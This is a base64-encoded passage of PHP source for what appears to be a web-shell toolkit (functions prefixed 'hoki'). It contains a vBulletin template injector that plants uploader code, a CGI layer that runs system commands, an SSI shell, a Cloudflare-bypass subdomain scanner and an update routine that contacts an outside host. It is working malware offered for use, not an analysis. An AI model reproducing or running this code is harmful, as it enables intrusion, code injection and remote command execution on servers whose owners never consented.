mlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0
ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVx
yXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2
hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY
3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRIb2tpQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRw
Oi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL2NhbGVuZGFyLnBocCI7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmw
uJHJlYWxwYXRoLiIva2lzZXJ5b3VuaS5waHAiOwplY2hvICI8YnI+PHByZSBpZD0nc3RyT3V0cHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdtbDEnPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPScjRkZGRkZGJz5QbGVhc2UgR2
8gVG8gVGFyZ2V0ID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz5BbmQgR28gVG8gPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmZi4iJyB0YXJnZXQ9J
19ibGFuayc+Ii4kZmZmLiI8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+IjsKfX19fQppZihpc3NldCgkX1BPU1RbJ2hva2kzJ10pICYmICRfUE9TVFsnaG9raTMnXT09ICd2YicpewpIb2tpTnVtKDEsMiw3LDksMTApOwplY2hvIF9fcHJlKCkuJzxw
PjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZidWxsZXRpbiB8PC9kaXY+PC9wPjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG5hbWU9ImZybSIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0iZyhcJ1NoZWxsSW5qZWN0b3J
zXCcsbnVsbCxudWxsLHRoaXMubG8udmFsdWUsXCd2YlwnLHRoaXMudXNlci52YWx1ZSx0aGlzLnBhc3MudmFsdWUsdGhpcy50YWIudmFsdWUsdGhpcy5kYi52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPic7CiR0YWJsZS
A9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdsbycsICdpZCc9PidkYl9ob3N0JywnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1d
FNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYXRhQmFzZSBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dFZhbHVlJyA9PiAn
JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VzZXIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICd1c2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dFZhbHV
lJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ3Bhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dF
ZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCA6ICcsICdpbnB1dE5hbWUnID0+ICd0YWInLCAnaWQnPT4nZGJfcHJlZ
ml4JywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAnPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9wPjwvZm9ybT48
L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k0J10pJiYhZW1wdHkoJF9QT1NUWydob2tpNCddKSl7CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k4J107CiRmYXFfbmFtZSA9ICJmYXEiOwokZmFxX2ZpbGUgPSAiL2ZhcS5waHAiOwokY29kZSA
9ICJ7XCR7Ii5IT0tJX1VQTE9BREVSLiJ9fXtcJHtleGl0KCl9fSYiOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJF9QT1NUWydob2tpMiddLCRfUE9TVFsnaG9raTQnXSwkX1BPU1RbJ2hva2k1J10sJF9QT1NUWydob2tpNyddKSBvciBkaWUoQG15c3
FsaV9jb25uZWN0X2Vycm9yKCkpOwokcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwokcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJ
GNvbm4sJHJlYyk7CiRnZXRkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVjaXZlZGF0YSk7CiRzYXZldG9hc3MgPSAkZ2V0ZFsndGVtcGxhdGUnXTsKaWYoZW1wdHkoJHNhdmV0b2FzcykpewoJJGZhcV9uYW1lID0gImhlYWRlciI7CgkkZmFxX2Zp
bGUgPSAiLyI7CgkkcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOyRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTs
KCSRnZXRkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVjaXZlZGF0YSk7Cgkkc2F2ZXRvYXNzID0gJGdldGRbJ3RlbXBsYXRlJ107CgkkY29kZSA9IEhPS0lfVVBMT0FERVIuIjsiOwp9CiRjb2RlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGNvZG
UpOwokcCA9ICJVUERBVEUgIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFNFVCBgdGVtcGxhdGVgPSciLiRjb2RlLiInIFdIRVJFIGB0aXRsZWA9JyIuJGZhcV9uYW1lLiInIjsKJGthPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwKSBvciBkaWUob
XlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgYHZhbHVlYCBmcm9tICIuJF9QT1NUWydob2tpNiddLiJzZXR0aW5nIFdIRVJFIGB2YXJuYW1lYD0nYmJ1cmwnIik7CiRnZXR2YWwgPSBAbXlz
cWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOwokc2F2ZXZhbCA9ICRnZXR2YWxbJ3ZhbHVlJ107CmlmKCRmYXFfbmFtZSA9PSAiaGVhZGVyIil7CglpZihzdWJzdHIoJHNhdmV2YWwsIC01LCA1KSA9PSAiL2NvcmUiKXsKCQkkc2F2ZXZhbCA9IHN1YnN
0cigkc2F2ZXZhbCwgMCwgLTUpOwoJfQp9CiRyZWFsdXJsID0gcGFyc2VfdXJsKCRzYXZldmFsLFBIUF9VUkxfSE9TVCk7CiRyZWFscGF0aCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX1BBVEgpOwokcmVzID0gZmFsc2U7CiRIb2tpQ3VybC
A9IG5ldyBIb2tpQ1VSTCgpOwppZihleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CmlmKCRmc29jayA9IEBmc29ja29wZW4oJHJlYWx1cmwsIDgwL
CAkZXJybm8sICRlcnJzdHIsIDEwKSl7CkBmcHV0cygkZnNvY2ssICJHRVQgJHJlYWxwYXRoLiRmYXFfZmlsZSBIVFRQLzEuMVxyXG4iKTsKQGZwdXRzKCRmc29jaywgIkhPU1Q6ICRyZWFsdXJsXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiQ29ubmVj
dGlvbjogY2xvc2VcclxuXHJcbiIpOwokY2hlY2sgPSBmZ2V0cygkZnNvY2spOwppZihwcmVnX21hdGNoKCIvMjAwIE9LL2kiLCRjaGVjaykpewokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydob2tpNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSc
iLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Ci
RyZXMgPSB0cnVlOwp9CkBmY2xvc2UoJGZzb2NrKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokSG9raUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZ
Sk7CiRwMSA9ICJVUERBVEUgIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwkc2F2ZXRvYXNzKS4iJyBXSEVSRSB0aXRsZSA9JyIuJGZhcV9uYW1lLiInIjsK
JGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm9
1dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGU7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIva2lzZXJ5b3VuaS5waHAiOwplY2hvICI8Y2VudGVyPjxwPjxmb2
50IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoa
XMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2ljaGVja2ZpbGV0eXBl
KCl7CgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOwoJJGFyZyA9ICRfUE9TVFsnYXJnJ107CglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpewoJCWVjaG8oImZpbGUiKTsKCX1lbHNlewoJCWVjaG8oImRpciIpOwoJfQp9CmZ1bmN0aW9uIGhva2l
jaGVja3VwZGF0ZSgpewoJaWYoJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaSJdKXsKCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGlfbW9kZSJdKSYmIWlzc2V0KCRfQ09PS0lFWyJob2tpY2dpYXBpIl0pKXsKCQkJX2hva2lfY2dpY2
1kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsKCQkJaWYoc3RybGVuKGhva2lFeCgid2hvYW1pIixmYWxzZSx0cnVlKSk+MCl7CgkJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raV9jYW5ydW5jbWQiLCAidHJ1ZSIpOwoJCQl9CgkJfQoJfQoJaWYoZnVuY
3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7CgkJJHVwZGF0ZSA9IG5ldyBIb2tpQ1VSTCgpOwoJCSRqc29uID0gJHVwZGF0ZS0+U2VuZCgiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS91cGRhdGUuanNvbj92ZXI9Ii5fX0hPS0lfVkVSU0lPTl9f
KTsKCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsKCQkkZGF0YSA9IGFycmF5KCk7CgkJaWYoJGpzb24pewoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2hva2lfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXs
KCQkJCWlmKCRqc29uWyJ0eXBlIl0gPT0gInVwZGF0ZSIpewoJCQkJCWlmKF9fSE9LSV9WRVJTSU9OX18gIT0gJGpzb25bJ3ZlcnNpb24nXSB8fCBfX0hPS0lfVVBEQVRFX18gIT0gJGpzb25bJ3ZlcnNpb25fbnVtYmVyJ10pewoJCQkJCQlAc2V0Y2
9va2llKCJob2tpX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOwoJCQkJCQkkZGF0YVsiY29udGVudCJdID0gJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPicuJGpzb25bImNvbnRlbnQiXS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9C
gkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImFkcyJdKSAmJiAhZW1wdHkoJGpzb25bImFkcyJdKSl7CgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsiY29weXJpZ2h0Il0pICYmICFlbXB0
eSgkanNvblsiY29weXJpZ2h0Il0pKXsKCQkJCSRkYXRhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsia2lzZXJ5b3VuaSJdKSAmJiAhZW1wdHkoJGpzb25bImtpc2VyeW91bmkiXSkpewo
JCQkJJGRhdGFbImtpc2VyeW91bmkiXSA9ICRqc29uWyJraXNlcnlvdW5pIl07CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImNvZGVfbmFtZSJdKSAmJiAhZW1wdHkoJGpzb25bImNvZGVfbmFtZSJdKSl7CgkJCQkkZGF0YVsiY29kZV9uYW1lIl0gPS
AkanNvblsiY29kZV9uYW1lIl07CgkJCQkkZGF0YVsidmVyc2lvbl9udW1iZXIiXSA9IF9fSE9LSV9WRVJTSU9OX187CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bIm1hcmtldCJdKSAmJiAhZW1wdHkoJGpzb25bIm1hcmtldCJdKSl7CgkJCQkkZGF0Y
VsibWFya2V0Il0gPSAkanNvblsibWFya2V0Il07CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJGRhdGEpOwoJCX0KCX0KfQpmdW5jdGlvbiBob2tpV3JpdGVUb2NnaWFwaSgkbmFtZSwgJHNvdXJjZSl7CgkkdGVtcCA9ICIiOwoJJG5vdF9hcGkg
PSBhcnJheSgiYmFzZWRpci5ob2tpIiwgImdldGRpci5ob2tpIiwgImdldGhlYWRlci5ob2tpIik7CglpZihpbl9hcnJheSgkbmFtZSwgJG5vdF9hcGkpKXsKCQkkdGVtcCA9IEhPS0lfVEVNUERJUjsKCQlpZigkdGVtcCl7CgkJCUBjaGRpcigkdGV
tcCk7CgkJfQoJfWVsc2V7CgkJaG9raUNyZWF0ZVBhcmVudEZvbGRlcigpOwoJCUBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fKTsKCX0KCUBta2RpcignaG9raWNnaWFwaScsMDc1NSk7CglfX3
dyaXRlX2ZpbGUoImhva2ljZ2lhcGkvIi4kbmFtZSwgX19nZXRfcmVzb3VyY2UoJHNvdXJjZSkpOwoJQGNobW9kKCJob2tpY2dpYXBpLyIuJG5hbWUsIDA3NTUpOwoJcmV0dXJuICR0ZW1wOwp9CmZ1bmN0aW9uIGhva2ljaGVja2NnaSgpe2lmKHN0c
mxlbihob2tpRXgoImlkIixmYWxzZSx0cnVlLHRydWUpKT4wKWVjaG8oIm9rIik7ZWxzZSBlY2hvKCJubyIpO30KZnVuY3Rpb24gaG9raXVwZGF0ZWhlYWRlcigpewoJaWYoIWlzc2V0KCRfQ09PS0lFWyJ1cGRhdGVoZWFkZXJfZGF0YSJdKSl7CgkJ
JGJhc2ggPSAielpSZGI5b3dGSWF2eWE4NDlkSUdKTEswdlZ5Rk5GVG9oRVJCZ3RGZFFJUk00aEFMNDBSMlVrWXAvMzEyZ1BBUnFMcWJhWW55SWZzOHgrODVyK1V2VjA0cWhUT2gzSkdoTWVnM253YnRXbm5xZWNEVW96OCt6UEdNUUJ6R0VCUEJJRjR
tWWNSQnBKTWxKRmpBOUkzR01ObStNQXZ3UFhDRlJSNU9DTWlVK3BxcUdJM3VyMDY3VzI4MGUvMWFlVEVsQ1FRazhVSmdTLzRiR09VekNWNnEwdXNadG9qdE9SVWlFaFdEZUdFRU5nRnJoVkpKZ3BTaGI4T1JaeGxCSklBQzVXQ3VOcXFIMzkzMUEvaV
JBZXBhaE5RTGEyWTUrNEpKSzBacE9JUXJzTjhBbWRrZ0F0ZUZteHZZNVI4aGs0NVExVks1cTRZZmNaS3ZqRWJxZHFzakQrM0ZJRDlhY0JaaG40aWlub05TLzYyb2xPTTVVWHFRWlphemY3QXh2S3UrSm1CN2QvYmQvVzNGeWlEckVKSkVVSDlMeVFUc
ldFRFhLUXpoZWdBdVV0cHUwUmx1S3FJMFBnTk9OZmpqQTlDUDVwaHlxVUU5OGRMcS9SelUyK05HOTduZTZ2UnJ5Rkg3d25tbElra3hjemJCcXRsRVNHUjA2cy9OeHZpeDIzbmFodWtpL2E5ZXhBTmt2TlRiclhxL21XZkFqR0pKcEtObmV1TU1WVk92
V0d3b05VNERVQWJvYnBvbktyUVJENUNFaEJ1bGJaVDRPS3EwSzlBczQ4VU1yR2Fuc1lvRjVRbDBlbXNMVHRFSzdQcWdMWVFTWWZ0bGpocHdZUTBtQzNIdnNQREFac2VaanhLYisvNzlqZlE5VmNndHlRR09IckZpZWdUN2FndWMyQU51UmdUVXlBV1J
naUM5OVhORHRtNFd4N2RlWHJMb2dMdlF0NE9Zc3owN2R1UDhpc1dVZWRCLzdzT25YYmdzOUtUMnc2Q3p4Vy8wZlg2YmFIMzVjZUd1MVNueEJ3PT0iOwoJCSRyZWFsZGlyID0gYWRkc2xhc2hlcyhkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU
5BTUUiXSkpOwoJCSR0bXBfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJnZXRoZWFkZXIuaG9raSIsJGJhc2gpOwoJCSRkYXRhID0gaG9raUV4KCJjZCAneyR0bXBfcGF0aH0vaG9raWNnaWFwaSc7c2ggZ2V0aGVhZGVyLmhva2kiLGZhbHNlLHRyd
WUsdHJ1ZSk7CgkJaWYoQGlzX2FycmF5KEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKSkpewoJCQlfX2hva2lfc2V0X2Nvb2tpZSgidXBkYXRlaGVhZGVyX2RhdGEiLCBfX1pXNWpiMlJsY2coJGRhdGEpKTsKCQkJZWNobyAkZGF0YTsKCQl9Cgl9ZWxz
ZXsKCQllY2hvIF9fWkdWamIyUmxjZygkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSk7Cgl9Cn0KZnVuY3Rpb24gaG9raXNzaVNoZWxsKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7Cmhva2lDcmVhdGVQYXJlbnR
Gb2xkZXIoKTsKQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19IT0tJX0RBVEFfRk9MREVSX18pOwpAbWtkaXIoJ2hva2lfc2h0bWwnLDA3NTUpOwpAY2hkaXIoJ2hva2lfc2h0bWwnKTsKaG9raWNnaWh0YWNjZXNzKCdzaHRtbC
cpOwokY29kZSA9ICdyVmI5YjlzMkVQMVhya3kyMk1oc0tjdTZwdGJIMEErdnpZYkNYZXp0bDZZb1pJbVMyVkNrUUZKT3ZDWC8rNDZTckNoT25LUkJBOE9SeU9QanUzZVBSL3ZQQm9PZFdJcVVaVUNWeW5VV2tFOWpwYVQ2VEFhRDBPOU1hL1l2VFhNV
GtQbktVTjNPc2hUb1JhRUMwanNsdSs5bnM0OWYza3dtZng2UFR3a0VjRXBPU1I4dUw4Rk9ub3ovK25zOG5YMzVNSjY5bjd6RitXYzI0TjE0aGpFRTFuaWFHbGhHaUtjWG5PQVRMMmxBdUlZQmo2NkRLTmYwM2hWZEp0ZXJSSUpzOFEyK0MvT1BrK2tX
Nmt6RUxYVm5PTHpqUTAzc0ZKSFc1OGxEU1hXd05wT0N6YXdXSnVlaHY2QlJFdnFHR1U3RFZ6eU5ZRWFqSEtiVFk1Z3VLT2UrVTAvNU9sYXNNTUFqa1pWUmhsUy9Sc3VvSGlSaFdvcllNQ2tna2N6MElKY0poVDc4eDlJZWpzUmxUb1VaeGxLZU1XckZ
JTVJPSWwrb3h6UXF1QkUyMUFXM1NNVERXQytWcW1mekE0YVJyb2YvL1BYU0lhY2lNd3NQOXZjWjlEYzNDOVpobjNETlo5aEhQQ3dpVTFRSHMwWDVFN2dIOEVjazRPRGxDeGRjZDFSOTROMkhHZkd1YmtPMUl4azFZMDd0NCt2VmNiSk9kMWpKN3JWUl
hNYVIxV1NvS0pkUjB1dDdWNjFNUm1ZWnB6MWdpVlZpTzdLZEgycXo0blNZTUpRa1dpR1AzamVGbzl4Q0NvcjIvQTNJSEVtZEVSZzFZOTZWNzlRbERIMm5Oc0pjSml1UXdqSU95TGFOOW1LWjU1Rkk5dnJERkVNMDVrWmduc1dTUy9UZ2psdjlFWWc0R
TJmWUFWQVdOR1huQmJkUm9aK3daZWpIaUVueFpYRVkrcWtVQnRZZ3oxL0c4ZUVoQ1MvaERsZkNwZS9ZYUVzYkZ6cHJGQXZiUG9kKzJXRGFaaFNRL1FPQ21jV2N4Y2lqcWNBZUZjczl5NzVTTFNCeHFiUlVvMEl5QytKVlpFYUtKaDRKeDJMSmxMUWFB
Qk9wYkFuZ0pzNjh3d0hUd2tJRUJKRmIyS1lhSTZ0NkE3cno2NHRYcjkvKzdqVmlGSXJXUjdsUWRtdXh0RWZicVVidHRGT0pWWC9mMHU1eG1XSy9lMlNtYitycUFoNDcwSFVUMkpKclRjaG1qTFhPQktKV0V3VE9XV0lXQVRsdzNSL1FHVklsRkd1S2x
yRENWSTIzWVRHUDRyTk15VklrZzBhVzJqemV6WjU3LzMxUU5jVWJFdDlzZFkzRTh3MkgxUVd3aFVYSzBGaTZUWFVlam40VWMxMTQzVzhFVURuazFDd2tKb0tud3Vxc3kzbk9qRDB0MkxHdWo0YXRMQk5GYWNDc0NrelYwQXNNcnd0MDFFalJCSk93Z2
UvRzE3RHR6WEJTQ2dSMExJRmJQdDhvL1dhQ0oxU1gzSFF5dTNsZ0xMRkkwYWh6Z3VrdjFFMk9LaVNOVmZ3WlFaVTh0NC9QU1hQOVhOQVk0andKZHJHYzFUM2tySEh3YXFsOEFYNXIxMjl6S2w1aWozVHFwS0NxYXJJYVVTQmxuT29IejJWMVJUN1Nyd
C9KcGZYZFg5bTBSbnk2V2Y5aDlMeEtGSHJZamt3WmNleEdNUzhUMmg5MUt2eVFkUXVwNy9EdTBnTGY2OXdqdDlLd0NueVNhN2ZsTlVYMEJ4TFl0clRTTDdYMG9KRWsyRVZOckpqMXl1b25hTmYrVDNaOUkvV3RmVHJtdjlXdUhYdWwyb3ZLL3R6Nkh3
PT0nOwpAX193cml0ZV9maWxlKCdob2tpX3NzaS5zaHRtbCcsX19nZXRfcmVzb3VyY2UoJGNvZGUpKTsKQGNobW9kKCJob2tpX3NzaS5zaHRtbCIsMDc1NSk7CmVjaG8gSG9raWlGcmFtZUNyZWF0b3IoJ2hva2lfc2h0bWwvaG9raV9zc2kuc2h0bWw
nKTsKZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2ljbG91ZGZsYXJlKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oOCw5LDEwLDcsNiw1LDQsMyk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaX
YgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IENsb3VkIEZsYXJlIEJ5UGFzc2VyIHw8L2Rpdj48YnI+PGZvcm0gYWN0aW9uPScnIG9uc3VibWl0PVwiZygnY2xvdWRmbGFyZScsbnVsbCx0aGlzLnVybC52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO
1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlRhcmdldDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9MzAgbmFtZT0ndXJsJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBwbGFjZWhvbGRlcj1cInRhcmdl
dC5jb21cIj4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKaWYoJF9QT1NUWydob2tpMiddICYmICRfUE9TVFsnaG9raTInXSA9PSAnPj4nKXsKJHVybCA9ICRfUE9TVFsnaG9
raTEnXTsKaWYoIXByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsKSl7CiR1cmwgPSBwcmVnX3JlcGxhY2UoJy9eKGh0dHBzPyk6XC9cLy8nLCAnJywgJHVybCk7CiR1cmwgPSAiaHR0cDovL3d3dy4iLiR1cmw7Cn
0KJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMoJHVybCwgMSk7CiRzZXJ2ZXIgPSAkaGVhZGVyc1snU2VydmVyJ107CiRzdWJzID0gYXJyYXkoJ293YS4nLCcydHR5LicsJ20uJywnZ3cuJywnbXgxLicsJ3N0b3JlLicsJzEnLCcyJywndmIuJywnbmV3c
y4nLCdkb3dubG9hZC4nLCd2aWRlbycsJ2NwYW5lbC4nLCAnZnRwLicsICdzZXJ2ZXIxLicsICdjZG4uJywgJ2NkbjIuJywgJ25zLicsICduczMuJywgJ21haWwuJywgJ3dlYm1haWwuJywgJ2RpcmVjdC4nLCAnZGlyZWN0LWNvbm5lY3QuJywgJ3Jl
Y29yZC4nLCAnc3NsLicsICdkbnMuJywgJ2hlbHAuJywgJ2Jsb2cuJywgJ2lyYy4nLCAnZm9ydW0uJywgJ2RsLicsICdteS4nLCAnY3AuJywgJ3BvcnRhbC4nLCAna2IuJywgJ3N1cHBvcnQuJywnc2VhcmNoLicsICdkb2NzLicsICdmaWxlcy4nLCA
nYWNjb3VudHMuJywgJ3NlY3VyZS4nLCAncmVnaXN0ZXIuJywgJ2FwcHMuJywgJ2JldGEuJywgJ2RlbW8uJywgJ3NtdHAuJywgJ25zMi4nLCAnbnMxLicsICdzZXJ2ZXIuJywgJ3Nob3AuJywgJ2hvc3QuJywgJ3dlYi4nLCAnY2xvdWQuJywgJ2FwaS
